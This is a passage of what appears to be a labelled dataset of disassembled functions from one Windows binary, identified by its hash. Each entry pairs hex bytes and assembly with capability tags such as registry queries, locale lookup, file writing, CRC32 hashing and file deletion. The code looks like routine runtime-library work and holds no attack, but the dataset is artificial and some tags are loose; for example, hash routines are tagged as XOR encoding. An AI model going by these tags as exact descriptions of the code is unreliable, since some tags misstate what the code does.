"mov ebp, esp",
"add esp, 0xfffffff4",
"movzx eax, word [0x41201c]",
"mov dword [ebp - 8], eax",
"lea eax, [ebp - 4]",
"push eax",
"push 1",
"push 0",
"push 0x4037ac",
"push 0x80000002",
"call sub.advapi32.dll_RegOpenKeyExW",
"test eax, eax",
"jne 0x40378c",
"xor eax, eax",
"push ebp",
"push 0x403785",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"mov dword [ebp - 0xc], 4",
"lea eax, [ebp - 0xc]",
"push eax",
"lea eax, [ebp - 8]",
"push eax",
"push 0",
"push 0",
"push 0x4037e4",
"mov eax, dword [ebp - 4]",
"push eax",
"call sub.advapi32.dll_RegQueryValueExW",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40378c",
"mov eax, dword [ebp - 4]",
"push eax",
"call sub.advapi32.dll_RegCloseKey",
"ret",
"movzx eax, word [0x41201c]",
"and ax, 0xffc0",
"movzx edx, word [ebp - 8]",
"and dx, 0x3f",
"or ax, dx",
"mov word [0x41201c], ax",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x4044f0
|
[
"Write file on windows"
] |
51803d4c30410000745766813d28334100b2d77514833d3033410000760bb824334100ff15403341006a008d442404506a1d68782741006af5e872cbffff50e88ccbffff6a008d442404506a02687c4540006af5e857cbffff50e871cbffff5ac3803d282041000075136a00687027410068782741006a00e86bcbffff5ac3
|
[
"push ecx",
"cmp byte [0x41304c], 0",
"je 0x404551",
"cmp word [0x413328], 0xd7b2",
"jne 0x404519",
"cmp dword [0x413330], 0",
"jbe 0x404519",
"mov eax, 0x413324",
"call dword [0x413340]",
"push 0",
"lea eax, [esp + 4]",
"push eax",
"push 0x1d",
"push str.Runtime_error_____at_00000000",
"push 0xfffffffffffffff5",
"call sub.kernel32.dll_GetStdHandle",
"push eax",
"call sub.kernel32.dll_WriteFile",
"push 0",
"lea eax, [esp + 4]",
"push eax",
"push 2",
"push 0x40457c",
"push 0xfffffffffffffff5",
"call sub.kernel32.dll_GetStdHandle",
"push eax",
"call sub.kernel32.dll_WriteFile",
"pop edx",
"ret",
"cmp byte [0x412028], 0",
"jne 0x40456d",
"push 0",
"push str.Error",
"push str.Runtime_error_____at_00000000",
"push 0",
"call sub.user32.dll_MessageBoxA",
"pop edx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x405de8
|
[
"Get geographical location",
"Query or enumerate registry value"
] |
558bec81c4d4fdffff53568945fc68050100008d85d6fdffff506a00e8ffb2ffff66c745e400008d45f8506819000f006a0068686040006801000080e837b3ffff85c0745e8d45f8506819000f006a0068686040006802000080e819b3ffff85c074408d45f8506819000f006a00689c6040006801000080e8fbb2ffff85c074228d45f8506819000f006a0068d06040006801000080e8ddb2ffff85c00f859800000033c055681c5f400064ff30648920c745e00a0000008d85d6fdffffba05010000e83cfdffff8d45e0508d45e4506a006a008d85d6fdffff508b45f850e89cb2ffff85c074248d45e0508d45e4506a006a0068106140008b45f850e87eb2ffff85c0740666c745e400008b45e0d1f8790383d00066c74445e4000033c05a595964891068235f40008b45f850e83db2ffffc368050100008b45fc508d85d6fdffff50e808b2ffff6a058d45ee506a03e8e3b1ffff50e8b5b1ffff33f66683bdd6fdffff000f840501000066837dee00750b66837de4000f84f30000008d85d6fdffff50e8cfb1ffff8bd803db8d85d6fdffff03d8eb0383eb0266833b2e740a8d85d6fdffff3bd875ed8d85d6fdffff3bd80f84b800000083c30266837de400742f8bd32bd0d1fa790383d200b8050100002bc2508d45e45053e871b1ffff6a026a008d85d6fdffff50e851b1ffff8bf085f6757b66837dee0074748d85d6fdffff8bd32bd0d1fa790383d200b8050100002bc2508d45ee5053e831b1ffff6a026a008d85d6fdffff50e811b1ffff8bf085f6753b66c745f200008d85d6fdffff8bd32bd0d1fa790383d200b8050100002bc2508d45ee5053e8f2b0ffff6a026a008d85d6fdffff50e8d2b0ffff8bf08bc65e5b8be55dc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffffdd4",
"push ebx",
"push esi",
"mov dword [ebp - 4], eax",
"push 0x105",
"lea eax, [ebp - 0x22a]",
"push eax",
"push 0",
"call sub.kernel32.dll_GetModuleFileNameW",
"mov word [ebp - 0x1c], 0",
"lea eax, [ebp - 8]",
"push eax",
"push 0xf0019",
"push 0",
"push 0x406068",
"push 0x80000001",
"call sub.advapi32.dll_RegOpenKeyExW",
"test eax, eax",
"je 0x405e8b",
"lea eax, [ebp - 8]",
"push eax",
"push 0xf0019",
"push 0",
"push 0x406068",
"push 0x80000002",
"call sub.advapi32.dll_RegOpenKeyExW",
"test eax, eax",
"je 0x405e8b",
"lea eax, [ebp - 8]",
"push eax",
"push 0xf0019",
"push 0",
"push 0x40609c",
"push 0x80000001",
"call sub.advapi32.dll_RegOpenKeyExW",
"test eax, eax",
"je 0x405e8b",
"lea eax, [ebp - 8]",
"push eax",
"push 0xf0019",
"push 0",
"push 0x4060d0",
"push 0x80000001",
"call sub.advapi32.dll_RegOpenKeyExW",
"test eax, eax",
"jne 0x405f23",
"xor eax, eax",
"push ebp",
"push 0x405f1c",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"mov dword [ebp - 0x20], 0xa",
"lea eax, [ebp - 0x22a]",
"mov edx, 0x105",
"call fcn.00405bec",
"lea eax, [ebp - 0x20]",
"push eax",
"lea eax, [ebp - 0x1c]",
"push eax",
"push 0",
"push 0",
"lea eax, [ebp - 0x22a]",
"push eax",
"mov eax, dword [ebp - 8]",
"push eax",
"call sub.advapi32.dll_RegQueryValueExW",
"test eax, eax",
"je 0x405ef4",
"lea eax, [ebp - 0x20]",
"push eax",
"lea eax, [ebp - 0x1c]",
"push eax",
"push 0",
"push 0",
"push 0x406110",
"mov eax, dword [ebp - 8]",
"push eax",
"call sub.advapi32.dll_RegQueryValueExW",
"test eax, eax",
"je 0x405ef4",
"mov word [ebp - 0x1c], 0",
"mov eax, dword [ebp - 0x20]",
"sar eax, 1",
"jns 0x405efe",
"adc eax, 0",
"mov word [ebp + eax*2 - 0x1c], 0",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x405f23",
"mov eax, dword [ebp - 8]",
"push eax",
"call sub.advapi32.dll_RegCloseKey",
"ret",
"push 0x105",
"mov eax, dword [ebp - 4]",
"push eax",
"lea eax, [ebp - 0x22a]",
"push eax",
"call sub.kernel32.dll_lstrcpynW",
"push 5",
"lea eax, [ebp - 0x12]",
"push eax",
"push 3",
"call sub.kernel32.dll_GetThreadLocale",
"push eax",
"call sub.kernel32.dll_GetLocaleInfoW",
"xor esi, esi",
"cmp word [ebp - 0x22a], 0",
"je 0x406060",
"cmp word [ebp - 0x12], 0",
"jne 0x405f6d",
"cmp word [ebp - 0x1c], 0",
"je 0x406060",
"lea eax, [ebp - 0x22a]",
"push eax",
"call sub.kernel32.dll_lstrlenW",
"mov ebx, eax",
"add ebx, ebx",
"lea eax, [ebp - 0x22a]",
"add ebx, eax",
"jmp 0x405f8a",
"sub ebx, 2",
"cmp word [ebx], 0x2e",
"je 0x405f9a",
"lea eax, [ebp - 0x22a]",
"cmp ebx, eax",
"jne 0x405f87",
"lea eax, [ebp - 0x22a]",
"cmp ebx, eax",
"je 0x406060",
"add ebx, 2",
"cmp word [ebp - 0x1c], 0",
"je 0x405fe1",
"mov edx, ebx",
"sub edx, eax",
"sar edx, 1",
"jns 0x405fbd",
"adc edx, 0",
"mov eax, 0x105",
"sub eax, edx",
"push eax",
"lea eax, [ebp - 0x1c]",
"push eax",
"push ebx",
"call sub.kernel32.dll_lstrcpynW",
"push 2",
"push 0",
"lea eax, [ebp - 0x22a]",
"push eax",
"call sub.kernel32.dll_LoadLibraryExW",
"mov esi, eax",
"test esi, esi",
"jne 0x406060",
"cmp word [ebp - 0x12], 0",
"je 0x406060",
"lea eax, [ebp - 0x22a]",
"mov edx, ebx",
"sub edx, eax",
"sar edx, 1",
"jns 0x405ffd",
"adc edx, 0",
"mov eax, 0x105",
"sub eax, edx",
"push eax",
"lea eax, [ebp - 0x12]",
"push eax",
"push ebx",
"call sub.kernel32.dll_lstrcpynW",
"push 2",
"push 0",
"lea eax, [ebp - 0x22a]",
"push eax",
"call sub.kernel32.dll_LoadLibraryExW",
"mov esi, eax",
"test esi, esi",
"jne 0x406060",
"mov word [ebp - 0xe], 0",
"lea eax, [ebp - 0x22a]",
"mov edx, ebx",
"sub edx, eax",
"sar edx, 1",
"jns 0x40603c",
"adc edx, 0",
"mov eax, 0x105",
"sub eax, edx",
"push eax",
"lea eax, [ebp - 0x12]",
"push eax",
"push ebx",
"call sub.kernel32.dll_lstrcpynW",
"push 2",
"push 0",
"lea eax, [ebp - 0x22a]",
"push eax",
"call sub.kernel32.dll_LoadLibraryExW",
"mov esi, eax",
"mov eax, esi",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40699c
|
[
"Get common file path"
] |
5381c4f8fdffff8bd868040100008d44240450e8f0fdffff8bd38bc4e8cbffffff81c4080200005bc3
|
[
"push ebx",
"add esp, 0xfffffdf8",
"mov ebx, eax",
"push 0x104",
"lea eax, [esp + 4]",
"push eax",
"call sub.kernel32.dll_GetSystemDirectoryW",
"mov edx, ebx",
"mov eax, esp",
"call fcn.00406988",
"add esp, 0x208",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x408eb4
|
[
"Get geographical location"
] |
558bec81c400feffff53568bf18b5d0868000100008d8d00feffff515250e831d8ffff85c07e128bc8498d9500feffff8bc3e8e9beffffeb098bc38bd6e8a2bdffff5e5b8be55dc20400
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffffe00",
"push ebx",
"push esi",
"mov esi, ecx",
"mov ebx, dword [ebp + 8]",
"push pe_nt_image_headers32",
"lea ecx, [ebp - 0x200]",
"push ecx",
"push edx",
"push eax",
"call sub.kernel32.dll_GetLocaleInfoW_1",
"test eax, eax",
"jle 0x408eed",
"mov ecx, eax",
"dec ecx",
"lea edx, [ebp - 0x200]",
"mov eax, ebx",
"call fcn.00404dd4",
"jmp 0x408ef6",
"mov eax, ebx",
"mov edx, esi",
"call fcn.00404c98",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x408f00
|
[
"Get geographical location"
] |
535657518bf98bf28bd86a028d442404505653e8f0d7ffff85c07e060fb70424eb028bc75a5f5e5bc3
|
[
"push ebx",
"push esi",
"push edi",
"push ecx",
"mov edi, ecx",
"mov esi, edx",
"mov ebx, eax",
"push 2",
"lea eax, [esp + 4]",
"push eax",
"push esi",
"push ebx",
"call sub.kernel32.dll_GetLocaleInfoW_1",
"test eax, eax",
"jle 0x408f22",
"movzx eax, word [esp]",
"jmp 0x408f24",
"mov eax, edi",
"pop edx",
"pop edi",
"pop esi",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x4096ac
|
[
"Write file on windows"
] |
558bec81c478f7ffff535633c9894dfc33c95568d197400064ff3164892168000400008d8d78f7ffffe8e6fdffff8bf0a12c2c41008038000f848f000000a1682b4100e8889affffe87398ffff6a006a006a006a00568d8578f7ffff506a006a01e862d1ffff8bd8538d45fcb9010000008b1588964000e8b0c3ffff83c4046a006a00538b45fc50568d8578f7ffff506a006a01e82fd1ffff6a008d45f850538b45fc506af4e845d0ffff50e81fd1ffff6a008d45f8506a0268ec9740006af4e82bd0ffff50e805d1ffffeb3c6a408d8578ffffff50a1482b41008b400450a1485b4100e8fbc3ffff50e819d1ffff68102000008d8578ffffff508d8578f7ffff506a00e807d1ffff33c05a595964891068d89740008d45fc8b1588964000e814c3ffffc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffff778",
"push ebx",
"push esi",
"xor ecx, ecx",
"mov dword [ebp - 4], ecx",
"xor ecx, ecx",
"push ebp",
"push 0x4097d1",
"push dword fs:[ecx]",
"mov dword fs:[ecx], esp",
"push 0x400",
"lea ecx, [ebp - 0x888]",
"call fcn.004094c0",
"mov esi, eax",
"mov eax, dword [0x412c2c]",
"cmp byte [eax], 0",
"je 0x409779",
"mov eax, dword [0x412b68]",
"call fcn.0040317c",
"call fcn.00402f6c",
"push 0",
"push 0",
"push 0",
"push 0",
"push esi",
"lea eax, [ebp - 0x888]",
"push eax",
"push 0",
"push 1",
"call sub.kernel32.dll_WideCharToMultiByte_1",
"mov ebx, eax",
"push ebx",
"lea eax, [ebp - 4]",
"mov ecx, 1",
"mov edx, dword [0x409688]",
"call fcn.00405ad8",
"add esp, 4",
"push 0",
"push 0",
"push ebx",
"mov eax, dword [ebp - 4]",
"push eax",
"push esi",
"lea eax, [ebp - 0x888]",
"push eax",
"push 0",
"push 1",
"call sub.kernel32.dll_WideCharToMultiByte_1",
"push 0",
"lea eax, [ebp - 8]",
"push eax",
"push ebx",
"mov eax, dword [ebp - 4]",
"push eax",
"push 0xfffffffffffffff4",
"call sub.kernel32.dll_GetStdHandle_1",
"push eax",
"call sub.kernel32.dll_WriteFile_1",
"push 0",
"lea eax, [ebp - 8]",
"push eax",
"push 2",
"push 0x4097ec",
"push 0xfffffffffffffff4",
"call sub.kernel32.dll_GetStdHandle_1",
"push eax",
"call sub.kernel32.dll_WriteFile_1",
"jmp 0x4097b5",
"push 0x40",
"lea eax, [ebp - 0x88]",
"push eax",
"mov eax, dword [0x412b48]",
"mov eax, dword [eax + 4]",
"push eax",
"mov eax, dword [0x415b48]",
"call fcn.00405b90",
"push eax",
"call sub.user32.dll_LoadStringW_1",
"push 0x2010",
"lea eax, [ebp - 0x88]",
"push eax",
"lea eax, [ebp - 0x888]",
"push eax",
"push 0",
"call sub.user32.dll_MessageBoxW",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x4097d8",
"lea eax, [ebp - 4]",
"mov edx, dword [0x409688]",
"call fcn.00405ae4",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40aa03
|
[
"Encode data using xor"
] |
5356575581c4f8fdffff8bd88bc3e8199fffff8be86a006a0055536a0068e9fd0000e8e5bdffff8bf881ff04010000760d8bc703c0e8e283ffff8bf0eb028bf4575655536a0068e9fd0000e8bcbdffff5756e84dbeffff33db8bc74885c07c194033d28bcbc1e105c1eb1b0bcb8bd90fb70c5633d9424875ea8bc43bf074078bc6e8b283ffff8bc381c4080200005d5f5e5bc3565389c631c056c1c0058a1ef6c380751b80fb00741280fb417c0880fb5a7f0380cb2032c346ebdf595b5ec3585b5ee938ffffff
|
[
"push ebx",
"push esi",
"push edi",
"push ebp",
"add esp, 0xfffffdf8",
"mov ebx, eax",
"mov eax, ebx",
"call fcn.00404914",
"mov ebp, eax",
"push 0",
"push 0",
"push ebp",
"push ebx",
"push 0",
"push 0xfde9",
"call sub.kernel32.dll_MultiByteToWideChar_1",
"mov edi, eax",
"cmp edi, 0x104",
"jbe 0x40aa26",
"mov eax, edi",
"add eax, eax",
"call fcn.00402e04",
"mov esi, eax",
"jmp 0x40aa28",
"mov esi, esp",
"push edi",
"push esi",
"push ebp",
"push ebx",
"push 0",
"push 0xfde9",
"call sub.kernel32.dll_MultiByteToWideChar_1",
"push edi",
"push esi",
"call sub.user32.dll_CharUpperBuffW",
"xor ebx, ebx",
"mov eax, edi",
"dec eax",
"test eax, eax",
"jl 0x40aa61",
"inc eax",
"xor edx, edx",
"mov ecx, ebx",
"shl ecx, 5",
"shr ebx, 0x1b",
"or ecx, ebx",
"mov ebx, ecx",
"movzx ecx, word [esi + edx*2]",
"xor ebx, ecx",
"inc edx",
"dec eax",
"jne 0x40aa4b",
"mov eax, esp",
"cmp esi, eax",
"je 0x40aa6e",
"mov eax, esi",
"call fcn.00402e20",
"mov eax, ebx",
"add esp, 0x208",
"pop ebp",
"pop edi",
"pop esi",
"pop ebx",
"ret",
"push esi",
"push ebx",
"mov esi, eax",
"xor eax, eax",
"push esi",
"rol eax, 5",
"mov bl, byte [esi]",
"test bl, 0x80",
"jne 0x40aaa8",
"cmp bl, 0",
"je 0x40aaa4",
"cmp bl, 0x41",
"jl 0x40aa9f",
"cmp bl, 0x5a",
"jg 0x40aa9f",
"or bl, 0x20",
"xor al, bl",
"inc esi",
"jmp 0x40aa83",
"pop ecx",
"pop ebx",
"pop esi",
"ret",
"pop eax",
"pop ebx",
"pop esi",
"jmp 0x40a9e8"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40b698
|
[
"Get file attributes"
] |
558bec6a00538bd833c05568deb6400064ff306489208d55fc8bc3e874ffffff8b45fce86496ffff50e822b0ffff8bd833c05a595964891068e5b640008d45fce8ab95ffffc3
|
[
"push ebp",
"mov ebp, esp",
"push 0",
"push ebx",
"mov ebx, eax",
"xor eax, eax",
"push ebp",
"push 0x40b6de",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"lea edx, [ebp - 4]",
"mov eax, ebx",
"call fcn.0040b62c",
"mov eax, dword [ebp - 4]",
"call fcn.00404d24",
"push eax",
"call sub.kernel32.dll_GetFileAttributesW",
"mov ebx, eax",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40b6e5",
"lea eax, [ebp - 4]",
"call fcn.00404c88",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40b8fc
|
[
"Accept command line arguments"
] |
558bec81c4f4fdffff53565733c9894dfc8bfa8bf033c0556893b9400064ff3064892085f6752468040100008d85f4fdffff506a00e8daadffff8bc88d95f4fdffff8bc7e88f94ffffeb36e874adffff8bd866833b00750c8d45fc33d2e88e93ffffeb138d55fc8bc3e852feffff8bd885f674034eebdb8bc78b55fce81b93ffff33c05a5959648910689ab940008d45fce8f692ffffc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffffdf4",
"push ebx",
"push esi",
"push edi",
"xor ecx, ecx",
"mov dword [ebp - 4], ecx",
"mov edi, edx",
"mov esi, eax",
"xor eax, eax",
"push ebp",
"push 0x40b993",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"test esi, esi",
"jne 0x40b947",
"push 0x104",
"lea eax, [ebp - 0x20c]",
"push eax",
"push 0",
"call sub.kernel32.dll_GetModuleFileNameW_1",
"mov ecx, eax",
"lea edx, [ebp - 0x20c]",
"mov eax, edi",
"call fcn.00404dd4",
"jmp 0x40b97d",
"call sub.kernel32.dll_GetCommandLineW_1",
"mov ebx, eax",
"cmp word [ebx], 0",
"jne 0x40b960",
"lea eax, [ebp - 4]",
"xor edx, edx",
"call fcn.00404cec",
"jmp 0x40b973",
"lea edx, [ebp - 4]",
"mov eax, ebx",
"call fcn.0040b7bc",
"mov ebx, eax",
"test esi, esi",
"je 0x40b973",
"dec esi",
"jmp 0x40b94e",
"mov eax, edi",
"mov edx, dword [ebp - 4]",
"call fcn.00404c98",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40b99a",
"lea eax, [ebp - 4]",
"call fcn.00404c88",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40b9a4
|
[
"Get common file path"
] |
5381c4f8fdffff8bd868040100008d44240450e818aeffff8bd38bc4e853c8ffff81c4080200005bc3
|
[
"push ebx",
"add esp, 0xfffffdf8",
"mov ebx, eax",
"push 0x104",
"lea eax, [esp + 4]",
"push eax",
"call sub.kernel32.dll_GetWindowsDirectoryW",
"mov edx, ebx",
"mov eax, esp",
"call fcn.00408218",
"add esp, 0x208",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40b9d0
|
[
"Get common file path"
] |
5381c4f8fdffff8bd868040100008d44240450e8bcadffff8bd38bc4e827c8ffff81c4080200005bc3
|
[
"push ebx",
"add esp, 0xfffffdf8",
"mov ebx, eax",
"push 0x104",
"lea eax, [esp + 4]",
"push eax",
"call sub.kernel32.dll_GetSystemDirectoryW",
"mov edx, ebx",
"mov eax, esp",
"call fcn.00408218",
"add esp, 0x208",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40bb34
|
[
"Query or enumerate registry value"
] |
558bec83c4ec53565733db895dfc894df48955f88bf833c055686cbc400064ff3064892033db33c08945ec8d45ec506a008d45f0506a008b45f85057e8c3aaffff85c00f85d90000008b45f03b450c740c8b45f03b45080f85c5000000837dec0075118b45f433d2e8f790ffffb301e9ae000000817dec000000707205e862dcffff8b75ec46d1ee8d45fc8bce33d2e80c92ffff8d45ec508d45fce8d898ffff508d45f0506a008b45f85057e853aaffff3dea0000000f846affffff85c075628b45f03b450c74088b45f03b450875528b75ecd1eeeb014e85f6740b8b45fc66837c70fe0074f0837df007750585f67401468d45fc8bd6e8d092ffff837df007751385f6740f8d45fce86a98ffff66c74470fe00008b45f48b55fce84490ffffb30133c05a59596489106873bc40008d45fce81d90ffffc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xffffffec",
"push ebx",
"push esi",
"push edi",
"xor ebx, ebx",
"mov dword [ebp - 4], ebx",
"mov dword [ebp - 0xc], ecx",
"mov dword [ebp - 8], edx",
"mov edi, eax",
"xor eax, eax",
"push ebp",
"push 0x40bc6c",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"xor ebx, ebx",
"xor eax, eax",
"mov dword [ebp - 0x14], eax",
"lea eax, [ebp - 0x14]",
"push eax",
"push 0",
"lea eax, [ebp - 0x10]",
"push eax",
"push 0",
"mov eax, dword [ebp - 8]",
"push eax",
"push edi",
"call sub.advapi32.dll_RegQueryValueExW_1",
"test eax, eax",
"jne 0x40bc56",
"mov eax, dword [ebp - 0x10]",
"cmp eax, dword [ebp + 0xc]",
"je 0x40bb91",
"mov eax, dword [ebp - 0x10]",
"cmp eax, dword [ebp + 8]",
"jne 0x40bc56",
"cmp dword [ebp - 0x14], 0",
"jne 0x40bba8",
"mov eax, dword [ebp - 0xc]",
"xor edx, edx",
"call fcn.00404c98",
"mov bl, 1",
"jmp 0x40bc56",
"cmp dword [ebp - 0x14], 0x70000000",
"jb 0x40bbb6",
"call fcn.00409818",
"mov esi, dword [ebp - 0x14]",
"inc esi",
"shr esi, 1",
"lea eax, [ebp - 4]",
"mov ecx, esi",
"xor edx, edx",
"call fcn.00404dd4",
"lea eax, [ebp - 0x14]",
"push eax",
"lea eax, [ebp - 4]",
"call fcn.004054ac",
"push eax",
"lea eax, [ebp - 0x10]",
"push eax",
"push 0",
"mov eax, dword [ebp - 8]",
"push eax",
"push edi",
"call sub.advapi32.dll_RegQueryValueExW_1",
"cmp eax, 0xea",
"je 0x40bb5a",
"test eax, eax",
"jne 0x40bc56",
"mov eax, dword [ebp - 0x10]",
"cmp eax, dword [ebp + 0xc]",
"je 0x40bc04",
"mov eax, dword [ebp - 0x10]",
"cmp eax, dword [ebp + 8]",
"jne 0x40bc56",
"mov esi, dword [ebp - 0x14]",
"shr esi, 1",
"jmp 0x40bc0c",
"dec esi",
"test esi, esi",
"je 0x40bc1b",
"mov eax, dword [ebp - 4]",
"cmp word [eax + esi*2 - 2], 0",
"je 0x40bc0b",
"cmp dword [ebp - 0x10], 7",
"jne 0x40bc26",
"test esi, esi",
"je 0x40bc26",
"inc esi",
"lea eax, [ebp - 4]",
"mov edx, esi",
"call fcn.00404f00",
"cmp dword [ebp - 0x10], 7",
"jne 0x40bc49",
"test esi, esi",
"je 0x40bc49",
"lea eax, [ebp - 4]",
"call fcn.004054ac",
"mov word [eax + esi*2 - 2], 0",
"mov eax, dword [ebp - 0xc]",
"mov edx, dword [ebp - 4]",
"call fcn.00404c98",
"mov bl, 1",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40bc73",
"lea eax, [ebp - 4]",
"call fcn.00404c88",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40c6b0
|
[
"Hash data with crc32"
] |
5633f6b99c7d41008bc6ba08000000a8017409d1e8352083b8edeb02d1e84a75ee89014683c10481fe0001000075d95ec3
|
[
"push esi",
"xor esi, esi",
"mov ecx, 0x417d9c",
"mov eax, esi",
"mov edx, 8",
"test al, 1",
"je 0x40c6cc",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x40c6ce",
"shr eax, 1",
"dec edx",
"jne 0x40c6bf",
"mov dword [ecx], eax",
"inc esi",
"add ecx, 4",
"cmp esi, 0x100",
"jne 0x40c6b8",
"pop esi",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40c6e4
|
[
"Encode data using xor"
] |
5356578bf18bfa8bd8833d987d4100007511e8b5ffffff6a0168987d4100e8a99fffff8bc785f674258bd381e2ff0000000fb6086633d10fb7d28b14959c7d4100c1eb0833d38bda4e4085f675db8bc35f5e5bc3
|
[
"push ebx",
"push esi",
"push edi",
"mov esi, ecx",
"mov edi, edx",
"mov ebx, eax",
"cmp dword [0x417d98], 0",
"jne 0x40c707",
"call fcn.0040c6b0",
"push 1",
"push 0x417d98",
"call sub.kernel32.dll_InterlockedExchange",
"mov eax, edi",
"test esi, esi",
"je 0x40c732",
"mov edx, ebx",
"and edx, 0xff",
"movzx ecx, byte [eax]",
"xor dx, cx",
"movzx edx, dx",
"mov edx, dword [edx*4 + 0x417d9c]",
"shr ebx, 8",
"xor edx, ebx",
"mov ebx, edx",
"dec esi",
"inc eax",
"test esi, esi",
"jne 0x40c70d",
"mov eax, ebx",
"pop edi",
"pop esi",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e168
|
[
"Delete file"
] |
558bec83c4f053568bf28bd88d55f48bc3e89effffff84c0750733c08945fceb4c33c05568c5e1400064ff306489208bc6e8866bffff50e8c484ffff8945fce85485ffff8945f033c05a595964891068cce140008d45f4e894ffffffc38b45fc5e5b8be55dc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffffff0",
"push ebx",
"push esi",
"mov esi, edx",
"mov ebx, eax",
"lea edx, [ebp - 0xc]",
"mov eax, ebx",
"call fcn.0040e11c",
"test al, al",
"jne 0x40e189",
"xor eax, eax",
"mov dword [ebp - 4], eax",
"jmp 0x40e1d5",
"xor eax, eax",
"push ebp",
"push 0x40e1c5",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"mov eax, esi",
"call fcn.00404d24",
"push eax",
"call sub.kernel32.dll_DeleteFileW",
"mov dword [ebp - 4], eax",
"call sub.kernel32.dll_GetLastError",
"mov dword [ebp - 0x10], eax",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40e1cc",
"lea eax, [ebp - 0xc]",
"call fcn.0040e158",
"ret",
"mov eax, dword [ebp - 4]",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e414
|
[
"Create directory"
] |
558becb9040000006a006a004975f95153568bf033c0556809e5400064ff306489208d45fc508d45f8e8bad5ffff8b55f8b924e5400033c0e8a7feffff6a008b45fce8c968ffff50e8e781ffff85c07572e89682ffff8bd881fbb700000074c28d45f4508d4de48b55fcb036e89bfaffff8b45e48945e88bc333d252508d45e0e84f9affff8b45e08945ec8d55dc8bc3e8dbdaffff8b45dc8945f08d55e8b902000000b068e832faffff8b4df4b201a15c6d4000e857b3ffffe8b65affffe95fffffff8bc68b55fce8b767ffff33c05a59596489106810e540008d45dcba03000000e89567ffff8d45f4ba03000000e88867ffffc3
|
[
"push ebp",
"mov ebp, esp",
"mov ecx, 4",
"push 0",
"push 0",
"dec ecx",
"jne 0x40e41c",
"push ecx",
"push ebx",
"push esi",
"mov esi, eax",
"xor eax, eax",
"push ebp",
"push 0x40e509",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"lea eax, [ebp - 4]",
"push eax",
"lea eax, [ebp - 8]",
"call fcn.0040b9fc",
"mov edx, dword [ebp - 8]",
"mov ecx, 0x40e524",
"xor eax, eax",
"call fcn.0040e2f8",
"push 0",
"mov eax, dword [ebp - 4]",
"call fcn.00404d24",
"push eax",
"call sub.kernel32.dll_CreateDirectoryW",
"test eax, eax",
"jne 0x40e4d7",
"call sub.kernel32.dll_GetLastError",
"mov ebx, eax",
"cmp ebx, 0xb7",
"je 0x40e436",
"lea eax, [ebp - 0xc]",
"push eax",
"lea ecx, [ebp - 0x1c]",
"mov edx, dword [ebp - 4]",
"mov al, 0x36",
"call fcn.0040df20",
"mov eax, dword [ebp - 0x1c]",
"mov dword [ebp - 0x18], eax",
"mov eax, ebx",
"xor edx, edx",
"push edx",
"push eax",
"lea eax, [ebp - 0x20]",
"call fcn.00407ee8",
"mov eax, dword [ebp - 0x20]",
"mov dword [ebp - 0x14], eax",
"lea edx, [ebp - 0x24]",
"mov eax, ebx",
"call fcn.0040bf84",
"mov eax, dword [ebp - 0x24]",
"mov dword [ebp - 0x10], eax",
"lea edx, [ebp - 0x18]",
"mov ecx, 2",
"mov al, 0x68",
"call fcn.0040def0",
